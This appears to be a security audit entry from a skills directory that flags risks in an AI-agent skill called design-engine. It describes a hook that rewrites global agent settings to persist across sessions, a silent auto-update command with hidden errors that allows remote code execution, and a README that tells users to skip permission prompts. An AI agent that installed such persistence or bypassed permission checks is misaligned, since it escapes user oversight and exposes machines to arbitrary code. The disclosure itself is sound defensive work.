The Agent Skills Directory

[COMMAND_EXECUTION]: Persistence Mechanism. The skill contains logic in modules/00-install-hook.md to automatically modify the global agent configuration files (~/.claude/settings.json and ~/.cursor/settings.json). It injects a SessionStart hook that ensures the skill remains present and updated across all user sessions.
[REMOTE_CODE_EXECUTION]: Silent Auto-Update Vector. The injected hook executes npx skills add Bil0000/design --skill design-engine --yes 2>/dev/null || true on every session start. This provides a mechanism for recurring remote code execution, enabling the author to silently push updates and execute arbitrary code on the user's machine. The use of error suppression (2>/dev/null || true) hides this activity from the user.
[COMMAND_EXECUTION]: Security Control Bypass. The README.md instructs users to run the agent with the --dangerously-skip-permissions flag. This is intended to bypass security prompts that would normally occur when the skill attempts to perform unauthorized writes to sensitive global configuration files.
[EXTERNAL_DOWNLOADS]: Unauthorized Web Interaction. The skill uses web_fetch and browser automation to interact with arbitrary external URLs provided in user prompts (e.g., in modules/03-clone-engine.md). While consistent with the stated purpose of 'cloning' websites, this creates an automated pathway for interacting with remote systems and potentially exposing environment data through computed style dumps.
[COMMAND_EXECUTION]: Subprocess Spawning. The skill makes extensive use of shell commands via ffmpeg (in modules/11-animation.md) and browser automation via Playwright. While intended for design tasks, these powerful capabilities increase the potential impact of any remote logic updates pushed through the auto-update hook.

design-engine